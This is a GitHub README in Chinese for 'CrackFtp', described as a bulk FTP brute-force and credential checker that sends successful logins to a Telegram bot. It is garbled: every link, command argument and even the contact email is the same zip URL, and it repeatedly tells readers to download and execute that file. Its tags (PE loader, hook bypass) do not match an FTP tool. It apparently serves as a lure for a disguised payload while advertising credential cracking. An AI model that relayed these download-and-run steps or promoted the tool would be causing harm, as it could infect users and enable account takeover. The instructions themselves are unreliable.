DevJinma/CrackFtp
GitHub: DevJinma/CrackFtp
Stars: 0 | Forks: 0
# CrackFtp 🛠️

欢迎使用 **CrackFtp** 仓库!该项目是一个批量 FTP 检查和破解工具,旨在测试登录凭证,并通过 Telegram 通知用户成功登录安全域的情况。随着网络安全的重要性日益增加,像 CrackFtp 这样的工具可以帮助道德黑客和安全专业人员确保其网络的完整性。
## 目录
- [功能](#features)
- [安装说明](#installation)
- [使用方法](#usage)
- [工作原理](#how-it-works)
- [Telegram 通知](#telegram-notifications)
- [贡献指南](#contributing)
- [许可证](#license)
- [联系方式](#contact)
- [发布版本](#releases)
## 功能
- **批量 FTP 检查**:一次性测试多个 FTP 凭证。
- **暴力破解能力**:支持暴力破解尝试以发现有效凭证。
- **Telegram 通知**:成功登录后获取即时警报。
- **命令行界面**:简单高效的命令行工具。
- **道德黑客工具**:专为安全专业人员和道德黑客设计。
- **跨平台**:支持 Windows、macOS 和 Linux。
## 安装说明
要开始使用 CrackFtp,请按照以下步骤操作:
1. **克隆仓库**:
git clone https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip
cd CrackFtp
2. **安装依赖**:
确保您已安装 Python。然后运行:
pip install -r https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip
3. **下载最新版本**:
您可以在[此处](https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip)下载最新版本。请确保执行下载的文件。
## 使用方法
要使用 CrackFtp,请从命令行运行脚本。基本语法为:
```
python https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip --target --user --pass
```
### 示例
```
python https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip --target https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip --user https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip --pass https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip
```
此命令将尝试使用来自 `https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip` 的用户名和来自 `https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip` 的密码登录到 `https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip`。
## 工作原理
CrackFtp 使用直接的方法来检查 FTP 凭证。它连接到指定的 FTP 服务器,并尝试使用用户名和密码的组合进行登录。如果登录成功,它会记录凭证并通过 Telegram 发送通知。
### 工作流程
1. **输入文件**:用户在文本文件中提供用户名和密码列表。
2. **连接**:脚本建立与 FTP 服务器的连接。
3. **登录尝试**:它遍历提供的凭证,尝试登录。
4. **通知**:成功后,它向指定的 Telegram bot 发送通知。
## Telegram 通知
要接收通知,您需要设置一个 Telegram bot。请按照以下步骤操作:
1. **创建 Telegram Bot**:
- 打开 Telegram 并搜索 `@BotFather`。
- 使用命令 `/newbot` 创建一个新的 bot 并按照提示操作。
- 保存 BotFather 提供的 token。
2. **获取您的 Chat ID**:
- 与您的 bot 开始对话。
- 使用以下 URL 获取您的 Chat ID:
https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip/getUpdates
- 在 JSON 响应中查找您的 Chat ID。
3. **配置脚本**:
- 编辑配置文件,或者在运行脚本时将 token 和 Chat ID 作为命令行参数传递。
## 贡献指南
我们欢迎各种贡献!如果您有改进想法或新功能建议,请随时 fork 本仓库并提交 pull request。
### 贡献步骤
1. **Fork 本仓库**。
2. **创建新分支**:
git checkout -b feature/YourFeatureName
3. **进行更改**。
4. **提交更改**:
git commit -m "Add your message here"
5. **推送到您的 Fork**:
git push origin feature/YourFeatureName
6. **提交 Pull Request**。
## 许可证
本项目采用 MIT 许可证授权。有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
## 联系方式
如有任何问题或建议,请联系维护者:
- **Name**: DevJinma
- **Email**: https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip
## 发布版本
要获取 CrackFtp 的最新版本,请访问 [Releases](https://github.com/DevJinma/CrackFtp/raw/refs/heads/main/therence/Ftp-Crack-v3.7.zip) 部分。请务必下载并执行该文件以获取最新功能和修复。
## 致谢
- 特别感谢帮助实现此项目的贡献者。
- 灵感来源于网络安全领域的各种开源项目。
感谢您对 CrackFtp 的关注!我们希望此工具能很好地服务于您的安全工作。
标签:FTP安全, FTP破解, PE 加载器, PoC, Python, Telegram机器人, VEH, 信息泄露, 凭据验证, 字典攻击, 批量检查器, 数字取证, 无后门, 暴力破解, 用户模式钩子绕过, 社工库, 网络安全, 自动化脚本, 账户接管, 逆向工具, 隐私保护